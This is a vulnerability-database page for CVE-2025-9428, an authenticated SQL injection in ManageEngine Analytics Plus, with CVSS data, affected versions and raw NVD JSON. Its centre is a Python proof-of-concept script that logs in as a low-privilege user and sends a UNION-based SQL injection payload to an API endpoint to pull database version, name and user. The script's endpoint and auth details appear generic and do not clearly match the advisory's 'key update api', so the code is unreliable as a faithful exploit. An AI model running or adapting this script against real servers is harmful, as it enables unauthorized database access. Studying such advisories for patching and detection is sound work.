Security Vulnerability Report
中文
CVE-2025-9428 CVSS 8.3 HIGH

CVE-2025-9428

Published: 2025-10-21 12:15:36
Last Modified: 2025-10-23 14:00:22
Source: 0fc0942c-577d-436f-ae8e-945763c79b02

Description

Zohocorp ManageEngine Analytics Plus versions 6171 and prior are vulnerable to authenticated SQL Injection via the key update api.

CVSS Details

CVSS Score
8.3
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:L

Configurations (Affected Products)

cpe:2.3:a:zohocorp:manageengine_analytics_plus:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:zohocorp:manageengine_analytics_plus:6.1:6100:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:zohocorp:manageengine_analytics_plus:6.1:6110:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:zohocorp:manageengine_analytics_plus:6.1:6120:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:zohocorp:manageengine_analytics_plus:6.1:6130:*:*:*:*:*:* - VULNERABLE
ManageEngine Analytics Plus <= 6171

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-9428 - ManageEngine Analytics Plus Authenticated SQL Injection PoC # Vulnerability: SQL Injection via key update API # Affected: ManageEngine Analytics Plus <= 6171 # CVSS: 8.3 (HIGH) import requests import sys TARGET_URL = "https://target-analytics-plus:8443" USERNAME = "low_priv_user" PASSWORD = "password123" def login(session, base_url, username, password): """Login to ManageEngine Analytics Plus with low-privilege credentials""" login_url = f"{base_url}/api/v1/login" payload = { "username": username, "password": password, "is_encrypted": False } resp = session.post(login_url, json=payload, verify=False) if resp.status_code == 200: # Extract authentication token from response token = resp.json().get("data", {}).get("auth_token") or resp.cookies.get("zoho_analytics_session") return token return None def exploit_sqli(session, base_url, token): """Exploit SQL injection in key update API""" headers = { "Authorization": f"Zoho-oauthtoken {token}", "Content-Type": "application/json" } # SQL injection payload targeting the key update API # Using UNION-based injection to extract database version sqli_payload = "1' UNION SELECT @@version,database(),user(),4,5-- -" update_url = f"{base_url}/api/v1/workspace/update" params = { "key": sqli_payload, "value": "test" } resp = session.post(update_url, headers=headers, json=params, verify=False) print(f"[+] Response Status: {resp.status_code}") print(f"[+] Response Body: {resp.text}") return resp def main(): session = requests.Session() print("[*] CVE-2025-9428 - ManageEngine Analytics Plus SQL Injection PoC") print(f"[*] Target: {TARGET_URL}") # Step 1: Authenticate with low-privilege credentials print("\n[*] Step 1: Authenticating with low-privilege credentials...") token = login(session, TARGET_URL, USERNAME, PASSWORD) if not token: print("[-] Authentication failed!") sys.exit(1) print(f"[+] Authentication successful. Token: {token[:20]}...") # Step 2: Exploit SQL injection print("\n[*] Step 2: Exploiting SQL injection in key update API...") resp = exploit_sqli(session, TARGET_URL, token) if "error" in resp.text.lower() or "syntax" in resp.text.lower(): print("[+] Target appears vulnerable to SQL injection!") else: print("[?] Check response for data extraction indicators") if __name__ == "__main__": main()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-9428", "sourceIdentifier": "0fc0942c-577d-436f-ae8e-945763c79b02", "published": "2025-10-21T12:15:35.673", "lastModified": "2025-10-23T14:00:21.830", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Zohocorp ManageEngine Analytics Plus versions 6171 and prior are vulnerable to authenticated SQL Injection via the key update api."}], "metrics": {"cvssMetricV31": [{"source": "0fc0942c-577d-436f-ae8e-945763c79b02", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:L", "baseScore": 8.3, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 5.5}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "0fc0942c-577d-436f-ae8e-945763c79b02", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-89"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:zohocorp:manageengine_analytics_plus:*:*:*:*:*:*:*:*", "versionEndExcluding": "6.1", "matchCriteriaId": "FCB8F6B2-6E06-4BE7-9AC9-A8D26F25C67B"}, {"vulnerable": true, "criteria": "cpe:2.3:a:zohocorp:manageengine_analytics_plus:6.1:6100:*:*:*:*:*:*", "matchCriteriaId": "A27EFFEA-DB7E-4E3E-905B-5D1BAAE3A03E"}, {"vulnerable": true, "criteria": "cpe:2.3:a:zohocorp:manageengine_analytics_plus:6.1:6110:*:*:*:*:*:*", "matchCriteriaId": "7AAAFC61-BDEB-4688-804E-C8165E693BA6"}, {"vulnerable": true, "criteria": "cpe:2.3:a:zohocorp:manageengine_analytics_plus:6.1:6120:*:*:*:*:*:*", "matchCriteriaId": "13DAD61B-82F4-42B5-A2E8-81EB62346EB1"}, {"vulnerable": true, "criteria": "cpe:2.3:a:zohocorp:manageengine_analytics_plus:6.1:6130:*:*:*:*:*:*", "matchCriteriaId": "0E074C04-4BC6-431B-99F0-ECB9E83532A7"}, {"vulnerable": true, "criteria": "cpe:2.3:a:zohocorp:manageengine_analytics_plus:6.1:6140:*:*:*:*:*:*", "matchCriteriaId": "1384D5F4-D3F0-48B4-AA2A-0B7E93A46C72"}, {"vulnerable": true, "criteria": "cpe:2.3:a:zohocorp:manageengine_analytics_plus:6.1:6150:*:*:*:*:*:*", "matchCriteriaId": "3F1E5920-9108-40A8-8FE0-727BA82C092F"}, {"vulnerable": true, "criteria": "cpe:2.3:a:zohocorp:manageengine_analytics_plus:6.1:6160:*:*:*:*:*:*", "matchCriteriaId": "F237D724-FF1D-4D03-9968-6F64B45F421F"}, {"vulnerable": true, "criteria": "cpe:2.3:a:zohocorp:manageengine_analytics_plus:6.1:6170:*:*:*:*:*:*", "matchCriteriaId": "ECDAD23D-D2E8-4A10-BDA6-7088314849AD"}, {"vulnerable": true, "criteria": "cpe:2.3:a:zohocorp:manageengine_analytics_plus:6.1:6171:*:*:*:*:*:*", "matchCriteriaId": "4166ED3E-040B-4867-BD53-515638BFFF21"}]}]}], "references": [{"url": "https://www.manageengine.com/analytics-plus/CVE-2025-9428.html", "source": "0fc0942c-577d-436f-ae8e-945763c79b02", "tags": ["Vendor Advisory"]}]}}